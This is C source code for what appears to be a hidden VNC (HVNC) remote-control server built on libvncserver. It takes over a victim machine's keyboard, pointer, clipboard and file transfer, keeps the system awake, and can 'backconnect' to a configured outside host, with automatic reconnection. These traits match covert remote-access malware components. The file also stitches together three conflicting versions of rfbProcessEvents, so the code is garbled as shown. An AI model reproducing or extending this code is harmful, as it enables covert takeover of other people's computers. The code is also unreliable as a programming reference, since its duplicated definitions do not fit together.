rfbBool
rfbProcessEvents(rfbScreenInfoPtr screen,long usec)
{
rfbClientIteratorPtr i;
rfbClientPtr cl,clPrev;
rfbBool result=FALSE;
extern rfbClientIteratorPtr
rfbGetClientIteratorWithClosed(rfbScreenInfoPtr rfbScreen);
if(usec<0)
usec=screen->deferUpdateTime*1000;
rfbCheckFds(screen,usec);
rfbHttpCheckFds(screen);
i = rfbGetClientIteratorWithClosed(screen);
cl=rfbClientIteratorHead(i);
while(cl) {
result = rfbUpdateClient(cl);
clPrev=cl;
cl=rfbClientIteratorNext(i);
if(clPrev->sock==-1) {
rfbClientConnectionGone(clPrev);
result=TRUE;
}
}
rfbReleaseClientIterator(i);
return result;
}
void VNCDisconnectUser(HVNC hVNC,char *lpPassword,in_addr dwAddr)
{
HVNC_HANDLE *lpHandle=VNCGetHandleInformation(hVNC);
if ((!lpHandle) || (!lpHandle->lpServer))
return;
PHVNC lpServer=lpHandle->lpServer;
if (lpServer->EventsInfo.dwClients)
{
rfbClientIteratorPtr i=rfbGetClientIteratorWithClosed(lpServer->rfbScreen);
rfbClientPtr cl=rfbClientIteratorHead(i);
while (cl)
{
rfbClientPtr clPrev=cl;
cl=rfbClientIteratorNext(i);
HVNC_SHORT_CLIENT_INFO *lpClientInfo=(HVNC_SHORT_CLIENT_INFO *)clPrev->clientData;
if ((lpClientInfo->saClient.sin_addr.s_addr == dwAddr.s_addr) && ((!lpPassword) || (!lstrcmpA(lpClientInfo->piPassword.szPassword,lpPassword))))
{
rfbClientConnectionGone(clPrev);
break;
}
}
rfbReleaseClientIterator(i);
}
return;
}
void VNCEnumUsers(HVNC hVNC,CLIENTSENUMPROC *lpEnumProc)
{
HVNC_HANDLE *lpHandle=VNCGetHandleInformation(hVNC);
if ((!lpEnumProc) || (!lpHandle) || (!lpHandle->lpServer))
return;
PHVNC lpServer=lpHandle->lpServer;
if (lpServer->EventsInfo.dwClients)
{
HVNC_CLIENT_INFO ClientInfo={0};
ClientInfo.hVNC=hVNC;
rfbClientIteratorPtr i=rfbGetClientIteratorWithClosed(lpServer->rfbScreen);
rfbClientPtr cl=rfbClientIteratorHead(i);
while (cl)
{
HVNC_SHORT_CLIENT_INFO *lpClientInfo=(HVNC_SHORT_CLIENT_INFO *)cl->clientData;
memcpy(&ClientInfo.saClient,&lpClientInfo->saClient,sizeof(ClientInfo.saClient));
memcpy(&ClientInfo.piPassword,&lpClientInfo->piPassword,sizeof(ClientInfo.piPassword));
if (!lpEnumProc(&ClientInfo))
break;
cl=rfbClientIteratorNext(i);
}
rfbReleaseClientIterator(i);
}
return;
}
static void DisconnectUser(PHVNC lpServer,PASSWORD_ITEM *lpPassword)
{
if (lpServer->EventsInfo.dwClients)
{
rfbClientIteratorPtr i=rfbGetClientIteratorWithClosed(lpServer->rfbScreen);
rfbClientPtr cl=rfbClientIteratorHead(i);
while (cl)
{
rfbClientPtr clPrev=cl;
cl=rfbClientIteratorNext(i);
HVNC_SHORT_CLIENT_INFO *lpClientInfo=(HVNC_SHORT_CLIENT_INFO *)clPrev->clientData;
if ((!lpPassword) || (!lstrcmpA(lpClientInfo->piPassword.szPassword,lpPassword->szPassword)))
rfbClientConnectionGone(clPrev);
}
rfbReleaseClientIterator(i);
}
return;
}
void VNCDisconnectAllUsers(HVNC hVNC)
{
HVNC_HANDLE *lpHandle=VNCGetHandleInformation(hVNC);
if ((!lpHandle) || (!lpHandle->lpServer))
return;
PHVNC lpServer=lpHandle->lpServer;
if (lpServer->EventsInfo.dwClients)
{
rfbClientIteratorPtr i=rfbGetClientIteratorWithClosed(lpServer->rfbScreen);
rfbClientPtr cl=rfbClientIteratorHead(i);
while (cl)
{
rfbClientPtr clPrev=cl;
cl=rfbClientIteratorNext(i);
rfbClientConnectionGone(clPrev);
}
rfbReleaseClientIterator(i);
}
return;
}
void
rfbProcessEvents(rfbScreenInfoPtr rfbScreen,long usec)
{
rfbClientIteratorPtr i;
rfbClientPtr cl,clPrev;
if(usec<0)
usec=rfbScreen->rfbDeferUpdateTime*1000;
rfbCheckFds(rfbScreen,usec);
i = rfbGetClientIterator(rfbScreen);
cl=rfbClientIteratorHead(i);
while(cl) {
rfbUpdateClient(cl);
clPrev=cl;
cl=rfbClientIteratorNext(i);
if(clPrev->sock==-1)
rfbClientConnectionGone(clPrev);
}
rfbReleaseClientIterator(i);
}
rfbBool
rfbProcessEvents(rfbScreenInfoPtr screen,long usec)
{
rfbClientIteratorPtr i;
rfbClientPtr cl,clPrev;
struct timeval tv;
rfbBool result=FALSE;
extern rfbClientIteratorPtr
rfbGetClientIteratorWithClosed(rfbScreenInfoPtr rfbScreen);
if(usec<0)
usec=screen->deferUpdateTime*1000;
rfbCheckFds(screen,usec);
rfbHttpCheckFds(screen);
i = rfbGetClientIteratorWithClosed(screen);
cl=rfbClientIteratorHead(i);
while(cl) {
if (cl->sock >= 0 && !cl->onHold && FB_UPDATE_PENDING(cl) &&
!sraRgnEmpty(cl->requestedRegion)) {
result=TRUE;
if(screen->deferUpdateTime == 0) {
rfbSendFramebufferUpdate(cl,cl->modifiedRegion);
} else if(cl->startDeferring.tv_usec == 0) {
gettimeofday(&cl->startDeferring,NULL);
if(cl->startDeferring.tv_usec == 0)
cl->startDeferring.tv_usec++;
} else {
gettimeofday(&tv,NULL);
if(tv.tv_sec < cl->startDeferring.tv_sec /* at midnight */
|| ((tv.tv_sec-cl->startDeferring.tv_sec)*1000
+(tv.tv_usec-cl->startDeferring.tv_usec)/1000)
> screen->deferUpdateTime) {
cl->startDeferring.tv_usec = 0;
rfbSendFramebufferUpdate(cl,cl->modifiedRegion);
}
}
}
if (!cl->viewOnly && cl->lastPtrX >= 0) {
if(cl->startPtrDeferring.tv_usec == 0) {
gettimeofday(&cl->startPtrDeferring,NULL);
if(cl->startPtrDeferring.tv_usec == 0)
cl->startPtrDeferring.tv_usec++;
} else {
struct timeval tv;
gettimeofday(&tv,NULL);
if(tv.tv_sec < cl->startPtrDeferring.tv_sec /* at midnight */
|| ((tv.tv_sec-cl->startPtrDeferring.tv_sec)*1000
+(tv.tv_usec-cl->startPtrDeferring.tv_usec)/1000)
> cl->screen->deferPtrUpdateTime) {
cl->startPtrDeferring.tv_usec = 0;
cl->screen->ptrAddEvent(cl->lastPtrButtons,
cl->lastPtrX,
cl->lastPtrY, cl);
cl->lastPtrX = -1;
}
}
}
clPrev=cl;
cl=rfbClientIteratorNext(i);
if(clPrev->sock==-1) {
rfbClientConnectionGone(clPrev);
result=TRUE;
}
}
rfbReleaseClientIterator(i);
return result;
}
void WINAPI VNCServerThread(HVNC hVNC)
{
HVNC_HANDLE *lpHandle=VNCGetHandleInformation(hVNC);
if (!lpHandle)
return;
if (!SetThreadExecutionState(ES_CONTINUOUS+ES_SYSTEM_REQUIRED+ES_AWAYMODE_REQUIRED))
SetThreadExecutionState(ES_CONTINUOUS+ES_SYSTEM_REQUIRED);
SetThreadDesktopEx(hDefaultDesktop);
PHVNC lpServer=lpHandle->lpServer;
rfbScreenInfoPtr rfbScreen=lpServer->rfbScreen=rfbGetScreen(NULL,NULL,lpServer->DeskInfo.dwWidth,lpServer->DeskInfo.dwHeight,8,3,lpServer->DeskInfo.bBytesPerPixel);
if (!rfbScreen)
{
lpServer->bActive=false;
SetEvent(lpHandle->hEvent);
return;
}
rfbScreen->screenData=lpServer;
rfbScreen->desktopName=lpServer->DeskInfo.szDeskName;
rfbScreen->frameBuffer=(char*)lpServer->DIBInfo.lpOldBkgBits;
rfbScreen->alwaysShared=lpHandle->ConnInfo.bShared;
rfbScreen->ptrAddEvent=OnPointerEvent;
rfbScreen->kbdAddEvent=OnKeyboardEvent;
rfbScreen->setXCutText=OnReceiveClipboard;
rfbScreen->getFileTransferPermission=OnFileTransfer;
rfbScreen->port=lpHandle->ConnInfo.wVNCPort;
if (!(lpServer->DeskInfo.dwFlags & HVNC_NO_VNC_CURSOR))
SetXCursor(rfbScreen,&cur_arrow);
else
rfbScreen->cursor=NULL;
if ((lpHandle->ConnInfo.szBCHost[0]) && (lpHandle->ConnInfo.wBCPort))
{
rfbScreen->backconnect=TRUE;
lstrcpyA(rfbScreen->backconnectHost,lpHandle->ConnInfo.szBCHost);
rfbScreen->bcPort=lpHandle->ConnInfo.wBCPort;
}
if (lpHandle->ConnInfo.Passwords.dwPasswordsCount)
{
DWORD dwPasswordsCount=lpHandle->ConnInfo.Passwords.dwPasswordsCount;
PASSWORD_ITEM **lppPasswords=(PASSWORD_ITEM **)MemAlloc((dwPasswordsCount+1)*sizeof(PASSWORD_ITEM *));
for (DWORD i=0; i < dwPasswordsCount; i++)
{
lppPasswords[i]=(PASSWORD_ITEM*)MemAlloc(sizeof(PASSWORD_ITEM));
lppPasswords[i]->dwFlags=lpHandle->ConnInfo.Passwords.piPasswords[i].dwFlags;
lstrcpyA(lppPasswords[i]->szPassword,lpHandle->ConnInfo.Passwords.piPasswords[i].szPassword);
}
rfbScreen->authPasswdData=lppPasswords;
rfbScreen->passwordCheck=OnNewClientAuth;
}
else
rfbScreen->newClientHook=OnNewClient;
while (lpServer->bActive)
{
rfbInitServer(rfbScreen);
if (rfbScreen->backconnect)
{
if (rfbScreen->connectSock < 0)
lpServer->bActive=false;
}
else if (rfbScreen->listenSock < 0)
lpServer->bActive=false;
if (lpHandle->hEvent)
SetEvent(lpHandle->hEvent);
while ((rfbIsActive(rfbScreen)) && (IsConnectionActive(lpServer)))
{
if (WaitForSingleObject(lpServer->EventsInfo.hVNCKillEvent,0) != WAIT_TIMEOUT)
break;
if (!(lpServer->DeskInfo.dwFlags & HVNC_SCREEN_SIZE_DETERMINED))
{
if (WaitForSingleObject(hDispChangeEvent,0) == WAIT_OBJECT_0)
SetNewFramebuffer(lpServer,lpSharedVNCData->dwNewWidth,lpSharedVNCData->dwNewHeight,lpSharedVNCData->bNewBitsPerPixel);
}
if (WaitForSingleObject(lpServer->EventsInfo.hClipboardUpdatedEvent,0) == WAIT_OBJECT_0)
SendClipboard(lpServer);
if ((lpServer->DeskInfo.bInputDesktop) && (lpServer->EventsInfo.dwClients))
{
GetCursorPos(&lpServer->lpGlobalVNCData->ptCursor);
rfbClientIteratorPtr i=rfbGetClientIteratorWithClosed(rfbScreen);
rfbClientPtr cl=rfbClientIteratorHead(i);
if (cl)
rfbDefaultPtrAddEvent(0,lpServer->lpGlobalVNCData->ptCursor.x,lpServer->lpGlobalVNCData->ptCursor.y,cl);
rfbReleaseClientIterator(i);
}
rfbProcessEvents(rfbScreen,1000);
}
if (WaitForSingleObject(lpServer->EventsInfo.hVNCKillEvent,0) != WAIT_TIMEOUT)
break;
VNCDisconnectAllUsers(hVNC);
rfbShutdownServer(rfbScreen,TRUE);
if (lpServer->rfbScreen->backconnect)
{
DWORD dwTickCount=GetTickCount();
if (dwTickCount-lpServer->dwLastReconnectionTime <= 1000)
{
if (++lpServer->dwReconnectionsCount >= MAX_RECONNECTIONS_PER_SECOND)
{
lpServer->bActive=false;
break;
}
}
else
lpServer->dwReconnectionsCount=0;
lpServer->dwLastReconnectionTime=dwTickCount;
}
rfbScreen->socketState=RFB_SOCKET_INIT;
Sleep(1);
}
return;
}
